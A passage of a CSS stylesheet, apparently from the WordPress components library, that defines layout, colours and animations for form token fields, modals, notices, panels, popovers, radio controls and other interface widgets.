}
@media (prefers-reduced-motion:reduce){
  .components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{
    animation-delay:0s;
    animation-duration:1ms;
    transition-delay:0s;
    transition-duration:0s;
  }
}

.components-form-token-field__token-text{
  border-radius:2px 0 0 2px;
  overflow:hidden;
  padding:0 0 0 8px;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.components-form-token-field__remove-token.components-button{
  border-radius:0 2px 2px 0;
  color:#1e1e1e;
  cursor:pointer;
  line-height:10px;
  overflow:initial;
  padding:0 2px;
}
.components-form-token-field__remove-token.components-button:hover{
  color:#1e1e1e;
}

.components-form-token-field__suggestions-list{
  box-shadow:inset 0 1px 0 0 #949494;
  flex:1 0 100%;
  list-style:none;
  margin:0;
  max-height:128px;
  min-width:100%;
  overflow-y:auto;
  padding:0;
  transition:all .15s ease-in-out;
}
@media (prefers-reduced-motion:reduce){
  .components-form-token-field__suggestions-list{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.components-form-token-field__suggestion{
  box-sizing:border-box;
  color:#1e1e1e;
  cursor:pointer;
  display:block;
  font-size:13px;
  margin:0;
  min-height:32px;
  padding:8px 12px;
}
.components-form-token-field__suggestion.is-selected{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  color:#fff;
}

@media (min-width:600px){
  .components-guide{
    width:600px;
  }
}
.components-guide .components-modal__content{
  border-radius:2px;
  margin-top:0;
  padding:0;
}
.components-guide .components-modal__content:before{
  content:none;
}
.components-guide .components-modal__header{
  border-bottom:none;
  height:60px;
  padding:0;
  position:sticky;
}
.components-guide .components-modal__header .components-button{
  align-self:flex-start;
  margin:8px 8px 0 0;
  position:static;
}
.components-guide .components-modal__header .components-button:hover svg{
  fill:#fff;
}
.components-guide__container{
  display:flex;
  flex-direction:column;
  justify-content:space-between;
  margin-top:-60px;
  min-height:100%;
}
.components-guide__page{
  display:flex;
  flex-direction:column;
  justify-content:center;
  position:relative;
}
@media (min-width:600px){
  .components-guide__page{
    min-height:300px;
  }
}
.components-guide__footer{
  align-content:center;
  display:flex;
  height:36px;
  justify-content:center;
  margin:0 0 24px;
  padding:0 32px;
  position:relative;
  width:100%;
}
.components-guide__page-control{
  margin:0;
  text-align:center;
}
.components-guide__page-control li{
  display:inline-block;
  margin:0;
}
.components-guide__page-control .components-button{
  color:#e0e0e0;
  height:30px;
  margin:-6px 0;
  min-width:20px;
}
.components-guide__page-control li[aria-current=step] .components-button{
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}

.components-modal__frame.components-guide{
  border:none;
  max-height:575px;
  min-width:312px;
}
@media (max-width:600px){
  .components-modal__frame.components-guide{
    margin:auto;
    max-width:calc(100vw - 32px);
  }
}

.components-button.components-guide__back-button,.components-button.components-guide__finish-button,.components-button.components-guide__forward-button{
  position:absolute;
}
.components-button.components-guide__back-button{
  left:32px;
}
.components-button.components-guide__finish-button,.components-button.components-guide__forward-button{
  right:32px;
}

[role=region]{
  position:relative;
}

.is-focusing-regions [role=region]:focus:after{
  bottom:0;
  content:"";
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:1000000;
}
.is-focusing-regions .editor-post-publish-panel,.is-focusing-regions .interface-interface-skeleton__actions .edit-post-layout__toggle-entities-saved-states-panel,.is-focusing-regions .interface-interface-skeleton__actions .edit-post-layout__toggle-publish-panel,.is-focusing-regions .interface-interface-skeleton__sidebar .edit-post-layout__toggle-sidebar-panel,.is-focusing-regions [role=region]:focus:after,.is-focusing-regions.is-distraction-free .interface-interface-skeleton__header .edit-post-header{
  outline:4px solid var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline-offset:-4px;
}

.components-menu-group+.components-menu-group{
  border-top:1px solid #1e1e1e;
  margin-top:8px;
  padding-top:8px;
}
.components-menu-group+.components-menu-group.has-hidden-separator{
  border-top:none;
  margin-top:0;
  padding-top:0;
}

.components-menu-group__label{
  color:#757575;
  font-size:11px;
  font-weight:500;
  margin-bottom:12px;
  margin-top:4px;
  padding:0 8px;
  text-transform:uppercase;
  white-space:nowrap;
}

.components-menu-item__button,.components-menu-item__button.components-button{
  width:100%;
}
.components-menu-item__button.components-button[role=menuitemcheckbox] .components-menu-item__item:only-child,.components-menu-item__button.components-button[role=menuitemradio] .components-menu-item__item:only-child,.components-menu-item__button[role=menuitemcheckbox] .components-menu-item__item:only-child,.components-menu-item__button[role=menuitemradio] .components-menu-item__item:only-child{
  box-sizing:initial;
  padding-right:48px;
}
.components-menu-item__button .components-menu-items__item-icon,.components-menu-item__button.components-button .components-menu-items__item-icon{
  display:inline-block;
  flex:0 0 auto;
}
.components-menu-item__button .components-menu-items__item-icon.has-icon-right,.components-menu-item__button.components-button .components-menu-items__item-icon.has-icon-right{
  margin-left:24px;
  margin-right:-2px;
}
.components-menu-item__button .components-menu-item__shortcut+.components-menu-items__item-icon.has-icon-right,.components-menu-item__button.components-button .components-menu-item__shortcut+.components-menu-items__item-icon.has-icon-right{
  margin-left:8px;
}
.components-menu-item__button .block-editor-block-icon,.components-menu-item__button.components-button .block-editor-block-icon{
  margin-left:-2px;
  margin-right:8px;
}
.components-menu-item__button.components-button.is-primary,.components-menu-item__button.is-primary{
  justify-content:center;
}
.components-menu-item__button.components-button.is-primary .components-menu-item__item,.components-menu-item__button.is-primary .components-menu-item__item{
  margin-right:0;
}
.components-menu-item__button.components-button:disabled.is-tertiary,.components-menu-item__button.components-button[aria-disabled=true].is-tertiary,.components-menu-item__button:disabled.is-tertiary,.components-menu-item__button[aria-disabled=true].is-tertiary{
  background:none;
  color:var(--wp-components-color-accent-darker-10, var(--wp-admin-theme-color-darker-10, #2145e6));
  opacity:.3;
}

.components-menu-item__info-wrapper{
  display:flex;
  flex-direction:column;
  margin-right:auto;
}

.components-menu-item__info{
  color:#757575;
  font-size:12px;
  margin-top:4px;
  white-space:normal;
}

.components-menu-item__item{
  align-items:center;
  display:inline-flex;
  margin-right:auto;
  min-width:160px;
  white-space:nowrap;
}

.components-menu-item__shortcut{
  align-self:center;
  color:currentColor;
  display:none;
  margin-left:auto;
  margin-right:0;
  padding-left:24px;
}
@media (min-width:480px){
  .components-menu-item__shortcut{
    display:inline;
  }
}

.components-menu-items-choice svg,.components-menu-items-choice.components-button svg{
  margin-right:12px;
}
.components-menu-items-choice.components-button.has-icon,.components-menu-items-choice.has-icon{
  padding-left:12px;
}

.components-modal__screen-overlay{
  animation:edit-post__fade-in-animation .2s ease-out 0s;
  animation-fill-mode:forwards;
  background-color:#00000059;
  bottom:0;
  display:flex;
  left:0;
  position:fixed;
  right:0;
  top:0;
  z-index:100000;
}
@media (prefers-reduced-motion:reduce){
  .components-modal__screen-overlay{
    animation-delay:0s;
    animation-duration:1ms;
  }
}

.components-modal__frame{
  animation:components-modal__appear-animation .1s ease-out;
  animation-fill-mode:forwards;
  background:#fff;
  border-radius:4px 4px 0 0;
  box-shadow:0 .7px 1px #00000026,0 2.7px 3.8px -.2px #00000026,0 5.5px 7.8px -.3px #00000026,.1px 11.5px 16.4px -.5px #00000026;
  display:flex;
  margin:40px 0 0;
  overflow:hidden;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .components-modal__frame{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
@media (min-width:600px){
  .components-modal__frame{
    border-radius:4px;
    margin:auto;
    max-height:calc(100% - 120px);
    max-width:calc(100% - 32px);
    min-width:350px;
    width:auto;
  }
}
@media (min-width:600px) and (min-width:600px){
  .components-modal__frame.is-full-screen{
    height:calc(100% - 32px);
    max-height:none;
    width:calc(100% - 32px);
  }
}
@media (min-width:600px) and (min-width:782px){
  .components-modal__frame.is-full-screen{
    height:calc(100% - 80px);
    max-width:none;
    width:calc(100% - 80px);
  }
}
@media (min-width:600px){
  .components-modal__frame.has-size-large,.components-modal__frame.has-size-medium,.components-modal__frame.has-size-small{
    width:100%;
  }
  .components-modal__frame.has-size-small{
    max-width:384px;
  }
  .components-modal__frame.has-size-medium{
    max-width:512px;
  }
  .components-modal__frame.has-size-large{
    max-width:840px;
  }
}
@media (min-width:960px){
  .components-modal__frame{
    max-height:70%;
  }
}

@keyframes components-modal__appear-animation{
  0%{
    transform:translateY(32px);
  }
  to{
    transform:translateY(0);
  }
}
.components-modal__header{
  align-items:center;
  border-bottom:1px solid #0000;
  box-sizing:border-box;
  display:flex;
  flex-direction:row;
  height:72px;
  justify-content:space-between;
  left:0;
  padding:24px 32px 8px;
  position:absolute;
  top:0;
  width:100%;
  z-index:10;
}
.components-modal__header .components-modal__header-heading{
  font-size:1.2rem;
  font-weight:600;
}
.components-modal__header h1{
  line-height:1;
  margin:0;
}
.components-modal__header .components-button{
  left:8px;
  position:relative;
}
.components-modal__content.has-scrolled-content:not(.hide-header) .components-modal__header{
  border-bottom-color:#ddd;
}
.components-modal__header+p{
  margin-top:0;
}

.components-modal__header-heading-container{
  align-items:center;
  display:flex;
  flex-direction:row;
  flex-grow:1;
  justify-content:left;
}

.components-modal__header-icon-container{
  display:inline-block;
}
.components-modal__header-icon-container svg{
  max-height:36px;
  max-width:36px;
  padding:8px;
}

.components-modal__content{
  flex:1;
  margin-top:72px;
  overflow:auto;
  padding:4px 32px 32px;
}
.components-modal__content.hide-header{
  margin-top:0;
  padding-top:32px;
}
.components-modal__content.is-scrollable:focus-visible{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
  outline-offset:-2px;
}

.components-notice{
  align-items:center;
  background-color:#fff;
  border-left:4px solid var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  display:flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  padding:8px 12px;
}
.components-notice.is-dismissible{
  position:relative;
}
.components-notice.is-success{
  background-color:#eff9f1;
  border-left-color:#4ab866;
}
.components-notice.is-warning{
  background-color:#fef8ee;
  border-left-color:#f0b849;
}
.components-notice.is-error{
  background-color:#f4a2a2;
  border-left-color:#cc1818;
}

.components-notice__content{
  flex-grow:1;
  margin:4px 25px 4px 0;
}

.components-notice__actions{
  display:flex;
  flex-wrap:wrap;
}

.components-notice__action.components-button{
  margin-right:8px;
}
.components-notice__action.components-button,.components-notice__action.components-button.is-link{
  margin-left:12px;
}
.components-notice__action.components-button.is-secondary{
  vertical-align:initial;
}

.components-notice__dismiss{
  align-self:flex-start;
  color:#757575;
  flex-shrink:0;
}
.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{
  background-color:initial;
  color:#1e1e1e;
}
.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{
  box-shadow:none;
}

.components-notice-list{
  box-sizing:border-box;
  max-width:100vw;
}
.components-notice-list .components-notice__content{
  line-height:2;
  margin-bottom:12px;
  margin-top:12px;
}
.components-notice-list .components-notice__action.components-button{
  display:block;
  margin-left:0;
  margin-top:8px;
}

.components-panel{
  background:#fff;
  border:1px solid #e0e0e0;
}
.components-panel>.components-panel__body:first-child,.components-panel>.components-panel__header:first-child{
  margin-top:-1px;
}
.components-panel>.components-panel__body:last-child,.components-panel>.components-panel__header:last-child{
  border-bottom-width:0;
}

.components-panel+.components-panel{
  margin-top:-1px;
}

.components-panel__body{
  border-bottom:1px solid #e0e0e0;
  border-top:1px solid #e0e0e0;
}
.components-panel__body h3{
  margin:0 0 .5em;
}
.components-panel__body.is-opened{
  padding:16px;
}

.components-panel__header{
  align-items:center;
  border-bottom:1px solid #ddd;
  box-sizing:initial;
  display:flex;
  height:47px;
  justify-content:space-between;
  padding:0 16px;
}
.components-panel__header h2{
  color:inherit;
  font-size:inherit;
  margin:0;
}

.components-panel__body+.components-panel__body,.components-panel__body+.components-panel__header,.components-panel__header+.components-panel__body,.components-panel__header+.components-panel__header{
  margin-top:-1px;
}

.components-panel__body>.components-panel__body-title{
  display:block;
  font-size:inherit;
  margin-bottom:0;
  margin-top:0;
  padding:0;
  transition:background .1s ease-in-out;
}
@media (prefers-reduced-motion:reduce){
  .components-panel__body>.components-panel__body-title{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.components-panel__body.is-opened>.components-panel__body-title{
  margin:-16px -16px 5px;
}

.components-panel__body>.components-panel__body-title:hover{
  background:#f0f0f0;
  border:none;
}

.components-panel__body-toggle.components-button{
  border:none;
  box-shadow:none;
  color:#1e1e1e;
  font-weight:500;
  height:auto;
  outline:none;
  padding:16px 48px 16px 16px;
  position:relative;
  text-align:left;
  transition:background .1s ease-in-out;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .components-panel__body-toggle.components-button{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-panel__body-toggle.components-button:focus{
  border-radius:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-panel__body-toggle.components-button .components-panel__arrow{
  color:#1e1e1e;
  position:absolute;
  right:16px;
  top:50%;
  transform:translateY(-50%);
  fill:currentColor;
  transition:color .1s ease-in-out;
}
@media (prefers-reduced-motion:reduce){
  .components-panel__body-toggle.components-button .components-panel__arrow{
    transition-delay:0s;
    transition-duration:0s;
  }
}
body.rtl .components-panel__body-toggle.components-button .dashicons-arrow-right{
  -ms-filter:fliph;
  filter:FlipH;
  margin-top:-10px;
  transform:scaleX(-1);
}

.components-panel__icon{
  color:#757575;
  margin:-2px 0 -2px 6px;
}

.components-panel__body-toggle-icon{
  margin-right:-5px;
}

.components-panel__color-title{
  float:left;
  height:19px;
}

.components-panel__row{
  align-items:center;
  display:flex;
  justify-content:space-between;
  margin-top:8px;
  min-height:36px;
}
.components-panel__row select{
  min-width:0;
}
.components-panel__row label{
  flex-shrink:0;
  margin-right:12px;
  max-width:75%;
}
.components-panel__row:empty,.components-panel__row:first-of-type{
  margin-top:0;
}

.components-panel .circle-picker{
  padding-bottom:20px;
}

.components-placeholder.components-placeholder{
  box-sizing:border-box;
  color:#1e1e1e;
  font-size:13px;
  margin:0;
  padding:1em;
  position:relative;
  text-align:left;
  width:100%;
  -moz-font-smoothing:subpixel-antialiased;
  -webkit-font-smoothing:subpixel-antialiased;
  background-color:#fff;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  outline:1px solid #0000;
}
@supports (position:sticky){
  .components-placeholder.components-placeholder{
    align-items:flex-start;
    display:flex;
    flex-direction:column;
    justify-content:top;
  }
}

.components-placeholder__error,.components-placeholder__fieldset,.components-placeholder__instructions,.components-placeholder__label{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:400;
  letter-spacing:normal;
  line-height:normal;
  text-transform:none;
}

.components-placeholder__label{
  align-items:center;
  display:flex;
  font-weight:600;
  margin-bottom:16px;
}
.components-placeholder__label .block-editor-block-icon,.components-placeholder__label .dashicon,.components-placeholder__label>svg{
  margin-right:12px;
  fill:currentColor;
}
@media (forced-colors:active){
  .components-placeholder__label .block-editor-block-icon,.components-placeholder__label .dashicon,.components-placeholder__label>svg{
    fill:CanvasText;
  }
}
.components-placeholder__label:empty{
  display:none;
}

.components-placeholder__fieldset,.components-placeholder__fieldset form{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  width:100%;
}
.components-placeholder__fieldset form p,.components-placeholder__fieldset p{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}

.components-placeholder__fieldset.is-column-layout,.components-placeholder__fieldset.is-column-layout form{
  flex-direction:column;
}

.components-placeholder__input[type=url]{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  flex:1 1 auto;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  line-height:normal;
  margin:0 8px 0 0;
  padding:6px 8px;
  transition:box-shadow .1s linear;
}
@media (prefers-reduced-motion:reduce){
  .components-placeholder__input[type=url]{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .components-placeholder__input[type=url]{
    font-size:13px;
    line-height:normal;
  }
}
.components-placeholder__input[type=url]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-placeholder__input[type=url]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-placeholder__input[type=url]::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.components-placeholder__input[type=url]:-ms-input-placeholder{
  color:#1e1e1e9e;
}

.components-placeholder__instructions{
  margin-bottom:1em;
}

.components-placeholder__error{
  margin-top:1em;
  width:100%;
}

.components-placeholder__fieldset .components-button{
  margin-bottom:12px;
  margin-right:12px;
}
.components-placeholder__fieldset .components-button:last-child{
  margin-bottom:0;
  margin-right:0;
}

.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link{
  margin-left:10px;
  margin-right:10px;
}
.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link:last-child{
  margin-right:0;
}

.components-placeholder.is-large .components-placeholder__label{
  font-size:18pt;
  font-weight:400;
}
.components-placeholder.is-medium .components-placeholder__instructions,.components-placeholder.is-small .components-placeholder__instructions{
  display:none;
}
.components-placeholder.is-medium .components-placeholder__fieldset,.components-placeholder.is-medium .components-placeholder__fieldset form,.components-placeholder.is-small .components-placeholder__fieldset,.components-placeholder.is-small .components-placeholder__fieldset form{
  flex-direction:column;
}
.components-placeholder.is-medium .components-placeholder__fieldset .components-button,.components-placeholder.is-small .components-placeholder__fieldset .components-button{
  margin-right:auto;
}
.components-placeholder.is-small .components-button{
  padding:0 8px 2px;
}
.components-placeholder.has-illustration{
  -webkit-backdrop-filter:blur(100px);
          backdrop-filter:blur(100px);
  backface-visibility:hidden;
  background-color:initial;
  border-radius:2px;
  box-shadow:none;
  color:inherit;
  display:flex;
  overflow:auto;
}
.is-dark-theme .components-placeholder.has-illustration{
  background-color:#0000001a;
}
.components-placeholder.has-illustration .components-placeholder__fieldset{
  margin-left:0;
  margin-right:0;
  width:auto;
}
.components-placeholder.has-illustration .components-button,.components-placeholder.has-illustration .components-placeholder__instructions,.components-placeholder.has-illustration .components-placeholder__label{
  opacity:0;
  pointer-events:none;
  transition:opacity .1s linear;
}
@media (prefers-reduced-motion:reduce){
  .components-placeholder.has-illustration .components-button,.components-placeholder.has-illustration .components-placeholder__instructions,.components-placeholder.has-illustration .components-placeholder__label{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.is-selected>.components-placeholder.has-illustration .components-button,.is-selected>.components-placeholder.has-illustration .components-placeholder__instructions,.is-selected>.components-placeholder.has-illustration .components-placeholder__label{
  opacity:1;
  pointer-events:auto;
}
.components-placeholder.has-illustration:before{
  background:currentColor;
  bottom:0;
  content:"";
  left:0;
  opacity:.1;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}

.components-placeholder__preview{
  display:flex;
  justify-content:center;
}

.components-placeholder__illustration{
  box-sizing:initial;
  height:100%;
  left:50%;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
  width:100%;
  stroke:currentColor;
  opacity:.25;
}

.components-popover{
  box-sizing:border-box;
  will-change:transform;
  z-index:1000000;
}
.components-popover *,.components-popover :after,.components-popover :before{
  box-sizing:inherit;
}
.components-popover.is-expanded{
  bottom:0;
  left:0;
  position:fixed;
  right:0;
  top:0;
  z-index:1000000 !important;
}

.components-popover__content{
  background:#fff;
  border-radius:2px;
  box-shadow:0 0 0 1px #ccc,0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a;
  box-sizing:border-box;
  width:min-content;
}
.is-alternate .components-popover__content{
  box-shadow:0 0 0 1px #1e1e1e;
}
.is-unstyled .components-popover__content{
  background:none;
  border-radius:0;
  box-shadow:none;
}
.components-popover.is-expanded .components-popover__content{
  box-shadow:0 -1px 0 0 #ccc;
  height:calc(100% - 48px);
  overflow-y:visible;
  position:static;
  width:auto;
}
.components-popover.is-expanded.is-alternate .components-popover__content{
  box-shadow:0 -1px 0 #1e1e1e;
}

.components-popover__header{
  align-items:center;
  background:#fff;
  display:flex;
  height:48px;
  justify-content:space-between;
  padding:0 8px 0 16px;
}

.components-popover__header-title{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}

.components-popover__close.components-button{
  z-index:5;
}

.components-popover__arrow{
  display:flex;
  height:14px;
  pointer-events:none;
  position:absolute;
  width:14px;
}
.components-popover__arrow:before{
  background-color:#fff;
  content:"";
  height:2px;
  left:1px;
  position:absolute;
  right:1px;
  top:-1px;
}
.components-popover__arrow.is-top{
  bottom:-14px !important;
  transform:rotate(0);
}
.components-popover__arrow.is-right{
  left:-14px !important;
  transform:rotate(90deg);
}
.components-popover__arrow.is-bottom{
  top:-14px !important;
  transform:rotate(180deg);
}
.components-popover__arrow.is-left{
  right:-14px !important;
  transform:rotate(-90deg);
}

.components-popover__triangle{
  display:block;
  flex:1;
}

.components-popover__triangle-bg{
  fill:#fff;
}

.components-popover__triangle-border{
  fill:#0000;
  stroke-width:1px;
  stroke:#ccc;
}
.is-alternate .components-popover__triangle-border{
  stroke:#1e1e1e;
}

.components-popover-pointer-events-trap{
  background-color:initial;
  inset:0;
  position:fixed;
  z-index:1000000;
}

.components-radio-control__option{
  align-items:center;
  display:flex;
}

.components-radio-control__input[type=radio]{
  -webkit-appearance:none;
          appearance:none;
  border:1px solid #1e1e1e;
  border-radius:2px;
  border-radius:50%;
  box-shadow:0 0 0 #0000;
  cursor:pointer;
  display:inline-flex;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:24px;
  line-height:normal;
  margin:0 6px 0 0;
  padding:0;
  transition:box-shadow .1s linear;
  transition:none;
  width:24px;
}
@media (prefers-reduced-motion:reduce){
  .components-radio-control__input[type=radio]{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .components-radio-control__input[type=radio]{
    font-size:13px;
    line-height:normal;
  }
}
.components-radio-control__input[type=radio]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
}
.components-radio-control__input[type=radio]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-radio-control__input[type=radio]::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.components-radio-control__input[type=radio]:-ms-input-placeholder{
  color:#1e1e1e9e;
}
@media (min-width:600px){
  .components-radio-control__input[type=radio]{
    height:20px;
    width:20px;
  }
}
.components-radio-control__input[type=radio]:checked:before{
  background-color:#fff;
  border:4px solid #fff;
  box-sizing:inherit;
  height:8px;
  margin:0;
  transform:translate(7px, 7px);
  width:8px;
}
@media (min-width:600px){
  .components-radio-control__input[type=radio]:checked:before{
    transform:translate(5px, 5px);
  }
}
.components-radio-control__input[type=radio]:focus{
  box-shadow:0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-radio-control__input[type=radio]:checked{
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
}
.components-radio-control__input[type=radio]:focus{
  box-shadow:0 0 0 2px var(--wp-components-color-background, #fff), 0 0 0 4px var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-radio-control__input[type=radio]:checked{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-radio-control__input[type=radio]:checked:before{
  border-radius:50%;
  content:"";
}

.components-radio-control__label{
  cursor:pointer;
}

.components-resizable-box__handle{
  display:none;
  height:23px;
  width:23px;
  z-index:2;
}
.components-resizable-box__container.has-show-handle .components-resizable-box__handle{
  display:block;
}

.components-resizable-box__container>img{
  width:inherit;
}

.components-resizable-box__handle:after{
  background:#fff;
  border-radius:50%;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  content:"";
  cursor:inherit;
  display:block;
  height:15px;
  outline:2px solid #0000;
  position:absolute;
  right:calc(50% - 8px);
  top:calc(50% - 8px);
  width:15px;
}

.components-resizable-box__side-handle:before{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-radius:2px;
  content:"";
  cursor:inherit;
  display:block;
  height:3px;
  opacity:0;
  position:absolute;
  right:calc(50% - 1px);
  top:calc(50% - 1px);
  transition:transform .1s ease-in;
  width:3px;
  will-change:transform;
}
@media (prefers-reduced-motion:reduce){
  .components-resizable-box__side-handle:before{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.components-resizable-box__corner-handle,.components-resizable-box__side-handle{
  z-index:2;
}

.components-resizable-box__side-handle.components-resizable-box__handle-bottom,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:before,.components-resizable-box__side-handle.components-resizable-box__handle-top,.components-resizable-box__side-handle.components-resizable-box__handle-top:before{
  border-left:0;
  border-right:0;
  left:0;
  width:100%;
}

.components-resizable-box__side-handle.components-resizable-box__handle-left,.components-resizable-box__side-handle.components-resizable-box__handle-left:before,.components-resizable-box__side-handle.components-resizable-box__handle-right,.components-resizable-box__side-handle.components-resizable-box__handle-right:before{
  border-bottom:0;
  border-top:0;
  height:100%;
  top:0;
}

.components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{
  animation:components-resizable-box__top-bottom-animation .1s ease-out 0s;
  animation-fill-mode:forwards;
}
@media (prefers-reduced-motion:reduce){
  .components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{
    animation-delay:0s;
    animation-duration:1ms;
  }
}

.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before{
  animation:components-resizable-box__left-right-animation .1s ease-out 0s;
  animation-fill-mode:forwards;
}
@media (prefers-reduced-motion:reduce){
  .components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before{
    animation-delay:0s;
    animation-duration:1ms;
  }
}
@media not all and (min-resolution:0.001dpcm){
  @supports (-webkit-appearance:none){

    .components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{
      animation:none;
    }
  }
}
@keyframes components-resizable-box__top-bottom-animation{
  0%{
    opacity:0;
    transform:scaleX(0);
  }
  to{
    opacity:1;
    transform:scaleX(1);
  }
}
@keyframes components-resizable-box__left-right-animation{
  0%{
    opacity:0;
    transform:scaleY(0);
  }
  to{
    opacity:1;
    transform:scaleY(1);
  }
}
.components-resizable-box__handle-right{
  right:-11.5px;
}

.components-resizable-box__handle-left{
  left:-11.5px;
}

.components-resizable-box__handle-top{
  top:-11.5px;
}

.components-resizable-box__handle-bottom{
  bottom:-11.5px;
}
.components-responsive-wrapper{
  align-items:center;
  display:flex;
  justify-content:center;
  max-width:100%;
  position:relative;
}

.components-responsive-wrapper__content{
  display:block;
  max-width:100%;
  width:100%;
}

.components-sandbox{
  overflow:hidden;
}

iframe.components-sandbox{
  width:100%;
}

body.lockscroll,html.lockscroll{
  overflow:hidden;
}

.components-select-control__input{
  outline:0;
  -webkit-tap-highlight-color:rgba(0, 0, 0, 0) !important;
}

@media (max-width:782px){
  .components-base-control .components-base-control__field .components-select-control__input{
    font-size:16px;
  }
}
.components-snackbar{
  -webkit-backdrop-filter:blur(16px) saturate(180%);
          backdrop-filter:blur(16px) saturate(180%);
  background:#000000d9;
  border-radius:2px;
  box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a;
  box-sizing:border-box;
  color:#fff;
  cursor:pointer;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  max-width:600px;
  padding:12px 20px;
  pointer-events:auto;
  width:100%;
}
@media (min-width:600px){
  .components-snackbar{
    width:-moz-fit-content;
    width:fit-content;
  }
}
.components-snackbar:focus{
